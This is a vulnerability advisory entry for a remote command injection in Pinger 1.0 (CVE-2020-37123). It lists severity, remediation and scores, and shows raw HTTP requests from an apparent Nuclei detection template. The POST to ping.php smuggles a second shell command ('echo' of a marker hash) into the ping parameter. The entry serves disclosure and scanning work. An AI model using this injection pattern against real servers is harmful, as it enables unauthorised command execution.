| Title | Pinger 1.0 - Remote Code Execution |
|---|---|
| Author | bswearingen |
| Severity | Critical |
| Impact | An unauthenticated attacker can execute arbitrary system commands on the server. |
| Remediation | Remove Pinger or apply input validation to sanitize the ping and socket parameters. |
| CVSS Score | 9.8 |
| EPSS Score | 0.15187 |
| CVE ID | CVE-2020-37123 |
| CWE ID | CWE-78 |
| Tags | cve cve2020 pinger rce |
Pinger 1.0 contains a remote code execution vulnerability that allows attackers to inject shell commands through the ping and socket parameters. Attackers can exploit the unsanitized input in ping.php to write arbitrary PHP files and execute system commands by appending shell metacharacters.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
POST /ping.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Connection: close
Content-Length: 52
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
ping=127.0.0.1;echo+678a1128fa991d48add7c677a8f6b85a
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-37123.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-37123.pcap
N/AN/A